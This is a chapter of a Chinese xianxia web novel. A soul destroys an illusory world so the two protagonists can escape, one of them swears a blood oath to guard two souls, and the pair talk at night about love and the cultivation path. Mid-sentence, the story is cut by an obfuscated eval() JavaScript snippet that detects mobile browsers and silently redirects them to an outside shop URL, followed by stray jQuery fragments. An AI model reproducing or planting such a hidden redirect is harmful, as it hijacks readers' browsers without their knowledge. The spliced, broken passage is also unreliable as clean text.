16. 生别常恻恻
作品:《修仙就是梦到哪句说哪句》 于子归气定神闲,丝毫没有目睹爱人献祭后的撕心裂肺。若是有个惊堂木和摇扇,他还能说上一段评书。
“今日我心情好,为你卜了两挂。”
“第一卦已然应验,便是你过不了这关。”
于子归收起怨念锁,也不急着开口,定坐在竹椅呷一口茶。
“已经定局的事,何须算。”
若不是承宵剑被压制,松时生早就三七二十一把第二世界毁个稀碎。
于子归道:“我料定你会这么说。不过没关系,你的第二卦,你会为你的道侣赴死。”
“我已修无情道,何来道侣。”松时生一怔,很快敛起惊疾一抹的慌色。
“你当真是自己情愿断情绝爱?当真是甘为天下大义凛然赴死?”于子归轻笑,“我的卦,从不会出错。”
“自你们二人踏入这第二世界起,我便为自己起了一卦。我设下这局,引你们走这条路,不过是要你们彻底死心。唯有我不复存在,你们才能出去。”
他一字一句,云淡风轻,仿佛在说旁人闲事。池宜听在耳中,嘴角几不可查地抽动,满心皆是不敢置信。
于子归缓言道:“我不过魂魄在世,肉身早已腐烂,若不是有爱人相伴,也只能算是孤魂野鬼。如今我以自身摧毁这方天地为代价,换你们二人脱困,也并非毫无条件。”
松时生眉心紧蹙:“你要什么?”
“我要你们一人,以道心起誓,护我与我爱人的残魂安稳千年。”于子归抬眼,目光清冽却带着不容置喙的坚定,“千年之内,将我二人放置齐云山气运最盛之处。保我们魂魄不散、不被侵扰,千年之后,无论生出何等变故,皆与你们再无干系,咱们两清。”
松时生当即上前一步:“我与你立约。”
谁知于子归却轻轻摇头,径直避开他,目光稳稳落在池宜身上,没有半分转圜余地。
“别别别,你不行。”
他晃了晃茶杯,语气带着点看透世事的调侃:“我卦象看得清清楚楚,你松时生命数薄得很,撑不过百年就要归西,千年之约你根本扛不到头,到时候我和我爱人岂不是要成无主孤魂?”
说罢,他看向池宜,眼底多了几分笃定:“倒是你,身带天命庇佑,寿数绵长、气运深厚,是最稳当的托付人选。这契约,非得你来签不可,少你一个字都不作数。”
松时生脸色一沉,还欲争辩,池宜却上前一步,目光坦荡,声音干脆利落。
“我应下。”
没有半分犹豫,池宜唤出一声:“不急。”
“为何不急。”于子归被这句话整得摸不着头脑。
池宜耳尖微微泛起薄红,难得露出几分局促腼腆,抬手轻轻抚,剑身微光流转,温顺地贴向她的掌心,她解释道:“并非拖延,这是我的佩剑,它名唤不急。”
“好名字!倒是独特得很,一柄剑叫不急,偏偏还跟着你这样干脆爽利的人,有意思,太有意思了!”
不急在她指尖轻划,逼出一滴精血,落在虚空契约之上,语气沉定:“我池宜在此立约,护枫眠及其爱侣于子归魂魄千年安稳,千年之后,两不相欠。”
于子归看着那滴精血融入契约,终于松了口气,嘴角勾起一抹轻松的笑:“爽快。”
下一刻,天穹开裂,裂隙如蛛网蔓延,原本灵秀的山川寸寸化为飞散的光屑,风里全是世界崩塌的哀鸣。
于子归周身萦绕着淡金色的魂火,那是他以自身神魂为薪柴,点燃的世界焚灭之焰。
他亲手斩断了这片虚妄天地的根基,每一寸崩塌,都在抽离他的生机与魂魄。
“我以毁灭此界为代价,换天地法则一诺。”话音落时,崩裂的天地间浮现出冰冷而庄严的契约纹路,缠上他与枫眠的魂魄。
“从此,我于子归的魂,与枫眠的魂,永世相依,同生共灭。任世事倾覆、轮回更迭,无人可拆,无劫可断,永不消散。”
话音落尽。
于子归最后看了一眼这片他曾执念一生的世界,眼中再无波澜。
魂火骤然暴涨。整片第二世界,在一声无声的巨响中,彻底崩碎、融化、消散。
天地归墟,万物归零。
唯有虚空深处,两道紧紧相依的魂魄,被一层柔和而坚定的金光包裹,静静沉浮。
“枫叶儿红,化红妆。枫叶儿黄,贴花黄。枫叶儿枯,闻啼哭。”枫眠依然是那身灼灼红衣,就站在光的尽头,安静地等着于子归朝自己走来。
燕燕于飞,差池其羽。之子于归,远送于野。瞻望弗及,泣涕如雨。
......
在第二世界彻底崩塌前,二人最后望向那杯未饮尽的茶。
人走茶凉。
出来后,依然是黑夜高悬,在第二世界仿佛是按下暂停一般。
池宜陷入沉思:或许,第二世界才是齐云山本来的样子。
近山是温润赭石,丹崖错落。远峰是沉凝石青,孤峭入云。山间新竹抽翠,古松垂绿,一层层、一叠叠,自山脚漫到云巅。横江如一匹碧色长绢,静静绕山而行。
对!奚川在画中留下的山脉江水,与齐云山无二。当初枫眠直接复制了齐云山创造出第二世界,误打误撞保留下奚川对五蕴石放置的记载。
天界虽有奚川留下的残卷影录,但若无法找到原卷五蕴石也是无法归位。
当下便有了主意,枫眠和于子归的灵魂还在古枫外徘徊,池宜恢复灵力将二人放置在神器里,决定去往飞涯峰。
池宜将想法一一说与松时生:“所以,我们今夜速战速决,省得徒生事端。”
“跟我来。”
松时生熟悉这一带地形,带她穿过一条小径,山间泉水自二人身边流过,撞在青碧的石上。穿过木栈再走上盘山小路,二人调动灵气脚步飞快绕过三个山头,终于走到了飞瀑的源头。
此地精力充沛,是个滋养魂魄的好地方。峰顶处有一祭坛,池宜思索片刻便将神器放置其中。
“啪嗒——”
一副泛黄的绢帛掉落下来,奚川像是早就料到残卷的开启是要以此为代价。
夜色深沉,繁星满天,连日紧绷的神经终于稍稍松懈。松时生望着池宜略显疲惫的神色,轻声开口:“先歇息片刻吧,此刻贸然行动反而易出纰漏,不妨赏赏这山间星子,养足精神再行事。”
池宜抬头望向漫天璀璨星河,眉眼间褪去了几分疲惫,多了几分柔和,轻轻点头:“好。”
二人寻了一处干净的青石
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322487|199030||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坐下,身下是微凉的山石,耳畔是飞瀑流泉的轻响,头顶是万顷星河倾泻而下,晚风带着草木清香,拂去一身疲惫。
“其实我在上清山时,便极爱观星。”池宜率先开口,目光温柔地落在漫天星辰上,语气轻缓,“天气晴好,繁星满天的时候,我总觉得浑身灵气都格外通畅,身体也轻松无比,哪怕静坐一夜,也不觉困倦。”
她顿了顿,嘴角勾起一抹浅淡的笑意:“可若是遇上阴天,乌云遮月,半颗星星也看不见,我反倒会睡得格外沉,像是被天地裹住了一般,安稳得很。”
松时生侧头看着她,夜色里她的侧脸被星光镀上一层柔和的银边,他轻声应着,静静听她诉说着上清山的旧事。
二人有一搭没一搭地聊着,从观星的喜好,说到山间的草木,从修行的琐事,说到现世的安稳,原本疏离的气氛,在夜色与星光里渐渐软化。
不知过了多久,东方天际泛起一抹淡淡的鱼肚白,星辰渐渐隐去,晨曦穿透云层,洒下第一缕微光。
太阳升起,金光漫过飞涯峰的山峦,唤醒了沉睡的山林。
池宜站起身,拍了拍衣摆上的碎叶,眼神重新恢复清亮:“走吧,时辰到了,我们回山洞去找他们。”
松时生颔首,跟在她身侧,二人踏着晨光,循着来时的路,重新折返向隐秘的山洞而去。
松时生走在池宜身侧,脚步放轻,低声开口:“你早已知晓她的底细,却一直隐忍,是怕打草惊蛇,还是念及旧情?”
池宜反应了一下这个“她”指的是谁。
“两者皆有。她是我师姐,从前待我极好,我总盼着,她能回头。”
松时生忽然停下脚步,抬眼望向远处云海翻涌的山峦,语气平淡却藏着不易察觉的复杂:“我向来觉得情念累赘,扰心乱道,本不该放在心上。”
他侧头看她一眼,声线平稳:“但是为一个人毁了自己,赌上所有,我倒没觉得不可理喻。”
池宜猛地转头,眼中满是惊愕,像是听到了天方夜谭:“你竟会这么想?看来于子归真要算准了。”
在她印象里,松时生素来冷心冷情,更别说共情这种为了爱人赴死的执念。
“无情道不是没心没肺...”松时生收回目光,指尖轻触剑柄,语气有些幽怨,带着哀叹,“她这条路,是自己选的,旁人拦不住。”
松时生说:“于凡人而言,一生能有一次奋不顾身的执念,也算是活过一场。于修士而言,若无情是大道,有情是劫,可若连劫都不敢渡,又何谈大道?仙途也好,凡心也罢,有人求道,有人求情,都是自己的选择,谈不上对错。”
她之前总在纠结,师姐该不该回头,自己该不该拦,对错要怎么分,越想越沉。可此刻听松时生这么一说,再想起于子归和枫眠的模样,忽然就通透了。
有人求长生,有人求相守,有人撞了南墙也不回头。
都是心之所向,强求不来,也苛责不得。
池宜轻轻笑了笑,眉眼彻底软下来,之前心底的郁结一扫而空。
“你说得对。”她抬头看向天边透亮的光,语气轻快了不少,“各有各的活法,各有各的道,想通了,也就没那么多拧巴了。”
“顺其自然就好。”

